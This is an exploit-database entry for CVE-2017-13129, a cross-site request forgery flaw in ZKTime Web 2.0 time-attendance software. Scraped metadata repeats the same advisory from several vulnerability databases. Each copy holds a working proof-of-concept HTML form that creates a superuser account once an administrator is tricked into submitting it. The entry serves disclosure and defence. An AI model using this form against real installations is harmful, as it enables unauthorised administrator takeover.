ZKTime Web Software 2.0 - Cross-Site Request Forgery Vulnerability
2017-10-20T00:00:00
ID 1337DAY-ID-28826 Type zdt Reporter Arvind V Modified 2017-10-20T00:00:00
Description
Exploit for windows platform in category web applications
Exploit Title: ZKTime Web Software 2.0 - Cross Site Request Forgery
CVE-ID: CVE-2017-13129
Vendor Homepage: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html
Vendor of Product: ZKTeco
Affected Product Code: ZKTime Web - 2.0.1.12280
Category: WebApps
Author: Arvind V.
Author Social: @Find_Arvind
------------------------------------------
Product description:
ZKTime Web 2.0 is a cutting edge Web-based Time Attendance software, which
provided a stable communication for devices through GPRS/WAN, hence, users
can access the software anywhere by their Web Browser to remotely manage
hundreds of T&A terminals under complex network condition (WLAN). The
Application has an administrator role and application user role.
Attack Description:
The ZKTime Web Software allows the Administrator to elevate the privileges
of the application user by simple click of a radio button namely
"superuser". However when the request is generated there are no random
tokens attached to this request to prevent any kind of Cross Site Request
Forgery attacks. Moreover there no other protections (like administrator
password verification etc.) mechanisms in place to block any kind of forged
requests.
An Attacker takes advantage of this scenario and creates a crafted link to
add himself as an administrator to the ZKTime Web Software. He then uses
social engineering methods to trick the administrator into click the forged
http request. The request is executed and the attacker becomes the
Administrator of the
ZKTime Web Software.
Proof of Concept Code:
Forged HTTP Request used by the attacker:
<html>
<body>
<form action="http://XX.XX.XX.46:8081/data/auth/User/14/
<http://xx.xx.xx.46:8081/data/auth/User/14/>" method="POST">
<input type="hidden" name="pk" value="" />
<input type="hidden" name="username" value="Pentestuser1" />
<input type="hidden" name="Password" value="" />
<input type="hidden" name="ResetPassword" value="" />
<input type="hidden" name="fpidnum" value="" />
<input type="hidden" name="fpcount" value="0" />
<input type="hidden" name="tlng" value="en" />
<input type="hidden" name="first_name" value="Pentest" />
<input type="hidden" name="last_name" value="User" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="is_staff" value="on" />
<input type="hidden" name="is_superuser" value="on" />
<input type="hidden" name="last_login" value="2017-08-20 14:14:34" />
<input type="hidden" name="initial-last_login" value="2017-08-20
14:14:34" />
<input type="hidden" name="date_joined" value="2017-08-20 14:14:34" />
<input type="hidden" name="initial-date_joined" value="2017-08-20
14:14:34" />
<input type="hidden" name="finnger" value="" />
<input type="hidden" name="template" value="" />
<input type="hidden" name="finger10" value="" />
<input type="hidden" name="template10" value="" />
<input type="hidden" name="delfp" value="" />
<input type="hidden" name="actflag" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Impact:
If the vulnerability is successfully exploited than an attacker (who would
be a normal user of the web application) can escalate his privileges and
become the administrator of ZK Time Web Software.
References:
http://seclists.org/fulldisclosure/2017/Sep/38
http://seclists.org/bugtraq/2017/Sep/19
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13129
Vulnerability Timeline:
18th August 2017 – Vulnerability Discovered
20th August 2017 – Contacted Vendor – No Response
1st September 2017 – Contacted Vendor again – No Response
18th September 2017 – Vulnerability Disclosed
# 0day.today [2018-03-10] #
{"id": "1337DAY-ID-28826", "type": "zdt", "bulletinFamily": "exploit", "title": "ZKTime Web Software 2.0 - Cross-Site Request Forgery Vulnerability", "description": "Exploit for windows platform in category web applications", "published": "2017-10-20T00:00:00", "modified": "2017-10-20T00:00:00", "cvss": {"score": 6.0, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/28826", "reporter": "Arvind V", "references": [], "cvelist": ["CVE-2017-13129"], "immutableFields": [], "lastseen": "2018-03-10T04:07:37", "viewCount": 11, "enchantments": {"score": {"value": 6.6, "vector": "NONE"}, "dependencies": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2017-0905"]}, {"type": "cve", "idList": ["CVE-2017-13129"]}, {"type": "exploitdb", "idList": ["EDB-ID:43018"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:887672922F8A37478D5A07AB29698E97"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:144685"]}], "rev": 4}, "backreferences": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2017-0905"]}, {"type": "cve", "idList": ["CVE-2017-13129"]}, {"type": "exploitdb", "idList": ["EDB-ID:43018"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:887672922F8A37478D5A07AB29698E97"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:144685"]}]}, "exploitation": null, "vulnersScore": 6.6}, "sourceHref": "https://0day.today/exploit/28826", "sourceData": "Exploit Title: ZKTime Web Software 2.0 - Cross Site Request Forgery\r\nCVE-ID: CVE-2017-13129\r\nVendor Homepage: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html\r\nVendor of Product: ZKTeco\r\nAffected Product Code: ZKTime Web - 2.0.1.12280\r\nCategory: WebApps\r\nAuthor: Arvind V.\r\nAuthor Social: @Find_Arvind\r\n \r\n------------------------------------------\r\n \r\nProduct description:\r\nZKTime Web 2.0 is a cutting edge Web-based Time Attendance software, which\r\nprovided a stable communication for devices through GPRS/WAN, hence, users\r\ncan access the software anywhere by their Web Browser to remotely manage\r\nhundreds of T&A terminals under complex network condition (WLAN). The\r\nApplication has an administrator role and application user role.\r\n \r\nAttack Description:\r\nThe ZKTime Web Software allows the Administrator to elevate the privileges\r\nof the application user by simple click of a radio button namely\r\n\"superuser\". However when the request is generated there are no random\r\ntokens attached to this request to prevent any kind of Cross Site Request\r\nForgery attacks. Moreover there no other protections (like administrator\r\npassword verification etc.) mechanisms in place to block any kind of forged\r\nrequests.\r\nAn Attacker takes advantage of this scenario and creates a crafted link to\r\nadd himself as an administrator to the ZKTime Web Software. He then uses\r\nsocial engineering methods to trick the administrator into click the forged\r\nhttp request. The request is executed and the attacker becomes the\r\nAdministrator of the\r\nZKTime Web Software.\r\n \r\nProof of Concept Code:\r\nForged HTTP Request used by the attacker:\r\n<html>\r\n <body>\r\n <form action=\"http://XX.XX.XX.46:8081/data/auth/User/14/\r\n<http://xx.xx.xx.46:8081/data/auth/User/14/>\" method=\"POST\">\r\n <input type=\"hidden\" name=\"pk\" value=\"\" />\r\n <input type=\"hidden\" name=\"username\" value=\"Pentestuser1\" />\r\n <input type=\"hidden\" name=\"Password\" value=\"\" />\r\n <input type=\"hidden\" name=\"ResetPassword\" value=\"\" />\r\n <input type=\"hidden\" name=\"fpidnum\" value=\"\" />\r\n <input type=\"hidden\" name=\"fpcount\" value=\"0\" />\r\n <input type=\"hidden\" name=\"tlng\" value=\"en\" />\r\n <input type=\"hidden\" name=\"first_name\" value=\"Pentest\" />\r\n <input type=\"hidden\" name=\"last_name\" value=\"User\" />\r\n <input type=\"hidden\" name=\"email\" value=\"\" />\r\n <input type=\"hidden\" name=\"is_staff\" value=\"on\" />\r\n <input type=\"hidden\" name=\"is_superuser\" value=\"on\" />\r\n <input type=\"hidden\" name=\"last_login\" value=\"2017-08-20 14:14:34\" />\r\n <input type=\"hidden\" name=\"initial-last_login\" value=\"2017-08-20\r\n14:14:34\" />\r\n <input type=\"hidden\" name=\"date_joined\" value=\"2017-08-20 14:14:34\" />\r\n <input type=\"hidden\" name=\"initial-date_joined\" value=\"2017-08-20\r\n14:14:34\" />\r\n <input type=\"hidden\" name=\"finnger\" value=\"\" />\r\n <input type=\"hidden\" name=\"template\" value=\"\" />\r\n <input type=\"hidden\" name=\"finger10\" value=\"\" />\r\n <input type=\"hidden\" name=\"template10\" value=\"\" />\r\n <input type=\"hidden\" name=\"delfp\" value=\"\" />\r\n <input type=\"hidden\" name=\"actflag\" value=\"\" />\r\n <input type=\"submit\" value=\"Submit request\" />\r\n </form>\r\n</body>\r\n</html>\r\n \r\nImpact:\r\nIf the vulnerability is successfully exploited than an attacker (who would\r\nbe a normal user of the web application) can escalate his privileges and\r\nbecome the administrator of ZK Time Web Software.\r\n \r\nReferences:\r\nhttp://seclists.org/fulldisclosure/2017/Sep/38\r\nhttp://seclists.org/bugtraq/2017/Sep/19\r\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13129\r\n \r\nVulnerability Timeline:\r\n18th August 2017 \u2013 Vulnerability Discovered\r\n20th August 2017 \u2013 Contacted Vendor \u2013 No Response\r\n1st September 2017 \u2013 Contacted Vendor again \u2013 No Response\r\n18th September 2017 \u2013 Vulnerability Disclosed\n\n# 0day.today [2018-03-10] #", "_state": {"dependencies": 1645478879}}
{"packetstorm": [{"lastseen": "2017-10-21T06:09:10", "description": "", "published": "2017-10-20T00:00:00", "type": "packetstorm", "title": "ZKTime Web Software 2.0 Cross Site Request Forgery", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-13129"], "modified": "2017-10-20T00:00:00", "id": "PACKETSTORM:144685", "href": "https://packetstormsecurity.com/files/144685/ZKTime-Web-Software-2.0-Cross-Site-Request-Forgery.html", "sourceData": "`Exploit Title: ZKTime Web Software 2.0 - Cross Site Request Forgery \nCVE-ID: CVE-2017-13129 \nVendor Homepage: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html \nVendor of Product: ZKTeco \nAffected Product Code: ZKTime Web - 2.0.1.12280 \nCategory: WebApps \nAuthor: Arvind V. \nAuthor Social: @Find_Arvind \n \n------------------------------------------ \n \nProduct description: \nZKTime Web 2.0 is a cutting edge Web-based Time Attendance software, which \nprovided a stable communication for devices through GPRS/WAN, hence, users \ncan access the software anywhere by their Web Browser to remotely manage \nhundreds of T&A terminals under complex network condition (WLAN). The \nApplication has an administrator role and application user role. \n \nAttack Description: \nThe ZKTime Web Software allows the Administrator to elevate the privileges \nof the application user by simple click of a radio button namely \n\"superuser\". However when the request is generated there are no random \ntokens attached to this request to prevent any kind of Cross Site Request \nForgery attacks. Moreover there no other protections (like administrator \npassword verification etc.) mechanisms in place to block any kind of forged \nrequests. \nAn Attacker takes advantage of this scenario and creates a crafted link to \nadd himself as an administrator to the ZKTime Web Software. He then uses \nsocial engineering methods to trick the administrator into click the forged \nhttp request. The request is executed and the attacker becomes the \nAdministrator of the \nZKTime Web Software. \n \nProof of Concept Code: \nForged HTTP Request used by the attacker: \n<html> \n<body> \n<form action=\"http://XX.XX.XX.46:8081/data/auth/User/14/ \n<http://xx.xx.xx.46:8081/data/auth/User/14/>\" method=\"POST\"> \n<input type=\"hidden\" name=\"pk\" value=\"\" /> \n<input type=\"hidden\" name=\"username\" value=\"Pentestuser1\" /> \n<input type=\"hidden\" name=\"Password\" value=\"\" /> \n<input type=\"hidden\" name=\"ResetPassword\" value=\"\" /> \n<input type=\"hidden\" name=\"fpidnum\" value=\"\" /> \n<input type=\"hidden\" name=\"fpcount\" value=\"0\" /> \n<input type=\"hidden\" name=\"tlng\" value=\"en\" /> \n<input type=\"hidden\" name=\"first_name\" value=\"Pentest\" /> \n<input type=\"hidden\" name=\"last_name\" value=\"User\" /> \n<input type=\"hidden\" name=\"email\" value=\"\" /> \n<input type=\"hidden\" name=\"is_staff\" value=\"on\" /> \n<input type=\"hidden\" name=\"is_superuser\" value=\"on\" /> \n<input type=\"hidden\" name=\"last_login\" value=\"2017-08-20 14:14:34\" /> \n<input type=\"hidden\" name=\"initial-last_login\" value=\"2017-08-20 \n14:14:34\" /> \n<input type=\"hidden\" name=\"date_joined\" value=\"2017-08-20 14:14:34\" /> \n<input type=\"hidden\" name=\"initial-date_joined\" value=\"2017-08-20 \n14:14:34\" /> \n<input type=\"hidden\" name=\"finnger\" value=\"\" /> \n<input type=\"hidden\" name=\"template\" value=\"\" /> \n<input type=\"hidden\" name=\"finger10\" value=\"\" /> \n<input type=\"hidden\" name=\"template10\" value=\"\" /> \n<input type=\"hidden\" name=\"delfp\" value=\"\" /> \n<input type=\"hidden\" name=\"actflag\" value=\"\" /> \n<input type=\"submit\" value=\"Submit request\" /> \n</form> \n</body> \n</html> \n \nImpact: \nIf the vulnerability is successfully exploited than an attacker (who would \nbe a normal user of the web application) can escalate his privileges and \nbecome the administrator of ZK Time Web Software. \n \nReferences: \nhttp://seclists.org/fulldisclosure/2017/Sep/38 \nhttp://seclists.org/bugtraq/2017/Sep/19 \nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13129 \n \nVulnerability Timeline: \n18th August 2017 a Vulnerability Discovered \n20th August 2017 a Contacted Vendor a No Response \n1st September 2017 a Contacted Vendor again a No Response \n18th September 2017 a Vulnerability Disclosed \n \n`\n", "cvss": {"score": 6.0, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/144685/zktimews20-xsrf.txt"}], "checkpoint_advisories": [{"lastseen": "2021-12-17T11:33:02", "description": "A Cross Site Request Forgery vulnerability exists in ZKTime Web. The vulnerability is due to lack of protections mechanisms in place to block any kind of forged requests. unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target system.", "cvss3": {"exploitabilityScore": 2.1, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.0, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-11-02T00:00:00", "type": "checkpoint_advisories", "title": "ZKTeco ZKTime Web Cross Site Request Forgery (CVE-2017-13129)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.0, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-13129"], "modified": "2017-11-05T00:00:00", "id": "CPAI-2017-0905", "href": "", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}], "exploitpack": [{"lastseen": "2020-04-01T19:05:38", "description": "\nZKTime Web Software 2.0 - Cross-Site Request Forgery", "edition": 2, "cvss3": {"exploitabilityScore": 2.1, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.0, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-08-18T00:00:00", "title": "ZKTime Web Software 2.0 - Cross-Site Request Forgery", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.0, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-13129"], "modified": "2017-08-18T00:00:00", "id": "EXPLOITPACK:887672922F8A37478D5A07AB29698E97", "href": "", "sourceData": "Exploit Title: ZKTime Web Software 2.0 - Cross Site Request Forgery\nCVE-ID: CVE-2017-13129\nVendor Homepage: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html\nVendor of Product: ZKTeco\nAffected Product Code: ZKTime Web - 2.0.1.12280\nCategory: WebApps\nAuthor: Arvind V.\nAuthor Social: @Find_Arvind\n\n------------------------------------------\n\nProduct description:\nZKTime Web 2.0 is a cutting edge Web-based Time Attendance software, which\nprovided a stable communication for devices through GPRS/WAN, hence, users\ncan access the software anywhere by their Web Browser to remotely manage\nhundreds of T&A terminals under complex network condition (WLAN). The\nApplication has an administrator role and application user role.\n\nAttack Description:\nThe ZKTime Web Software allows the Administrator to elevate the privileges\nof the application user by simple click of a radio button namely\n\"superuser\". However when the request is generated there are no random\ntokens attached to this request to prevent any kind of Cross Site Request\nForgery attacks. Moreover there no other protections (like administrator\npassword verification etc.) mechanisms in place to block any kind of forged\nrequests.\nAn Attacker takes advantage of this scenario and creates a crafted link to\nadd himself as an administrator to the ZKTime Web Software. He then uses\nsocial engineering methods to trick the administrator into click the forged\nhttp request. The request is executed and the attacker becomes the\nAdministrator of the\nZKTime Web Software.\n\nProof of Concept Code:\nForged HTTP Request used by the attacker:\n<html>\n <body>\n <form action=\"http://XX.XX.XX.46:8081/data/auth/User/14/\n<http://xx.xx.xx.46:8081/data/auth/User/14/>\" method=\"POST\">\n <input type=\"hidden\" name=\"pk\" value=\"\" />\n <input type=\"hidden\" name=\"username\" value=\"Pentestuser1\" />\n <input type=\"hidden\" name=\"Password\" value=\"\" />\n <input type=\"hidden\" name=\"ResetPassword\" value=\"\" />\n <input type=\"hidden\" name=\"fpidnum\" value=\"\" />\n <input type=\"hidden\" name=\"fpcount\" value=\"0\" />\n <input type=\"hidden\" name=\"tlng\" value=\"en\" />\n <input type=\"hidden\" name=\"first_name\" value=\"Pentest\" />\n <input type=\"hidden\" name=\"last_name\" value=\"User\" />\n <input type=\"hidden\" name=\"email\" value=\"\" />\n <input type=\"hidden\" name=\"is_staff\" value=\"on\" />\n <input type=\"hidden\" name=\"is_superuser\" value=\"on\" />\n <input type=\"hidden\" name=\"last_login\" value=\"2017-08-20 14:14:34\" />\n <input type=\"hidden\" name=\"initial-last_login\" value=\"2017-08-20\n14:14:34\" />\n <input type=\"hidden\" name=\"date_joined\" value=\"2017-08-20 14:14:34\" />\n <input type=\"hidden\" name=\"initial-date_joined\" value=\"2017-08-20\n14:14:34\" />\n <input type=\"hidden\" name=\"finnger\" value=\"\" />\n <input type=\"hidden\" name=\"template\" value=\"\" />\n <input type=\"hidden\" name=\"finger10\" value=\"\" />\n <input type=\"hidden\" name=\"template10\" value=\"\" />\n <input type=\"hidden\" name=\"delfp\" value=\"\" />\n <input type=\"hidden\" name=\"actflag\" value=\"\" />\n <input type=\"submit\" value=\"Submit request\" />\n </form>\n</body>\n</html>\n\nImpact:\nIf the vulnerability is successfully exploited than an attacker (who would\nbe a normal user of the web application) can escalate his privileges and\nbecome the administrator of ZK Time Web Software.\n\nReferences:\nhttp://seclists.org/fulldisclosure/2017/Sep/38\nhttp://seclists.org/bugtraq/2017/Sep/19\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13129\n\nVulnerability Timeline:\n18th August 2017 \u2013 Vulnerability Discovered\n20th August 2017 \u2013 Contacted Vendor \u2013 No Response\n1st September 2017 \u2013 Contacted Vendor again \u2013 No Response\n18th September 2017 \u2013 Vulnerability Disclosed", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2022-03-23T13:11:31", "description": "Cross-site request forgery (CSRF) vulnerability in ZKTeco ZKTime Web 2.0.1.12280 allows remote authenticated users to hijack the authentication of administrators for requests that add administrators by leveraging lack of anti-CSRF tokens.", "cvss3": {"exploitabilityScore": 2.1, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2017-09-26T14:29:00", "type": "cve", "title": "CVE-2017-13129", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.0, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-13129"], "modified": "2017-10-03T16:58:00", "cpe": ["cpe:/a:zkteco:zktime_web:2.0.1.12280"], "id": "CVE-2017-13129", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-13129", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:zkteco:zktime_web:2.0.1.12280:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2022-05-04T17:36:39", "description": "", "cvss3": {"exploitabilityScore": 2.1, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2017-08-18T00:00:00", "type": "exploitdb", "title": "ZKTime Web Software 2.0 - Cross-Site Request Forgery", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.0, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["2017-13129", "CVE-2017-13129"], "modified": "2017-08-18T00:00:00", "id": "EDB-ID:43018", "href": "https://www.exploit-db.com/exploits/43018", "sourceData": "Exploit Title: ZKTime Web Software 2.0 - Cross Site Request Forgery\r\nCVE-ID: CVE-2017-13129\r\nVendor Homepage: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html\r\nVendor of Product: ZKTeco\r\nAffected Product Code: ZKTime Web - 2.0.1.12280\r\nCategory: WebApps\r\nAuthor: Arvind V.\r\nAuthor Social: @Find_Arvind\r\n\r\n------------------------------------------\r\n\r\nProduct description:\r\nZKTime Web 2.0 is a cutting edge Web-based Time Attendance software, which\r\nprovided a stable communication for devices through GPRS/WAN, hence, users\r\ncan access the software anywhere by their Web Browser to remotely manage\r\nhundreds of T&A terminals under complex network condition (WLAN). The\r\nApplication has an administrator role and application user role.\r\n\r\nAttack Description:\r\nThe ZKTime Web Software allows the Administrator to elevate the privileges\r\nof the application user by simple click of a radio button namely\r\n\"superuser\". However when the request is generated there are no random\r\ntokens attached to this request to prevent any kind of Cross Site Request\r\nForgery attacks. Moreover there no other protections (like administrator\r\npassword verification etc.) mechanisms in place to block any kind of forged\r\nrequests.\r\nAn Attacker takes advantage of this scenario and creates a crafted link to\r\nadd himself as an administrator to the ZKTime Web Software. He then uses\r\nsocial engineering methods to trick the administrator into click the forged\r\nhttp request. The request is executed and the attacker becomes the\r\nAdministrator of the\r\nZKTime Web Software.\r\n\r\nProof of Concept Code:\r\nForged HTTP Request used by the attacker:\r\n<html>\r\n <body>\r\n <form action=\"http://XX.XX.XX.46:8081/data/auth/User/14/\r\n<http://xx.xx.xx.46:8081/data/auth/User/14/>\" method=\"POST\">\r\n <input type=\"hidden\" name=\"pk\" value=\"\" />\r\n <input type=\"hidden\" name=\"username\" value=\"Pentestuser1\" />\r\n <input type=\"hidden\" name=\"Password\" value=\"\" />\r\n <input type=\"hidden\" name=\"ResetPassword\" value=\"\" />\r\n <input type=\"hidden\" name=\"fpidnum\" value=\"\" />\r\n <input type=\"hidden\" name=\"fpcount\" value=\"0\" />\r\n <input type=\"hidden\" name=\"tlng\" value=\"en\" />\r\n <input type=\"hidden\" name=\"first_name\" value=\"Pentest\" />\r\n <input type=\"hidden\" name=\"last_name\" value=\"User\" />\r\n <input type=\"hidden\" name=\"email\" value=\"\" />\r\n <input type=\"hidden\" name=\"is_staff\" value=\"on\" />\r\n <input type=\"hidden\" name=\"is_superuser\" value=\"on\" />\r\n <input type=\"hidden\" name=\"last_login\" value=\"2017-08-20 14:14:34\" />\r\n <input type=\"hidden\" name=\"initial-last_login\" value=\"2017-08-20\r\n14:14:34\" />\r\n <input type=\"hidden\" name=\"date_joined\" value=\"2017-08-20 14:14:34\" />\r\n <input type=\"hidden\" name=\"initial-date_joined\" value=\"2017-08-20\r\n14:14:34\" />\r\n <input type=\"hidden\" name=\"finnger\" value=\"\" />\r\n <input type=\"hidden\" name=\"template\" value=\"\" />\r\n <input type=\"hidden\" name=\"finger10\" value=\"\" />\r\n <input type=\"hidden\" name=\"template10\" value=\"\" />\r\n <input type=\"hidden\" name=\"delfp\" value=\"\" />\r\n <input type=\"hidden\" name=\"actflag\" value=\"\" />\r\n <input type=\"submit\" value=\"Submit request\" />\r\n </form>\r\n</body>\r\n</html>\r\n\r\nImpact:\r\nIf the vulnerability is successfully exploited than an attacker (who would\r\nbe a normal user of the web application) can escalate his privileges and\r\nbecome the administrator of ZK Time Web Software.\r\n\r\nReferences:\r\nhttp://seclists.org/fulldisclosure/2017/Sep/38\r\nhttp://seclists.org/bugtraq/2017/Sep/19\r\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13129\r\n\r\nVulnerability Timeline:\r\n18th August 2017 \u2013 Vulnerability Discovered\r\n20th August 2017 \u2013 Contacted Vendor \u2013 No Response\r\n1st September 2017 \u2013 Contacted Vendor again \u2013 No Response\r\n18th September 2017 \u2013 Vulnerability Disclosed\r\n", "sourceHref": "https://www.exploit-db.com/download/43018", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}]}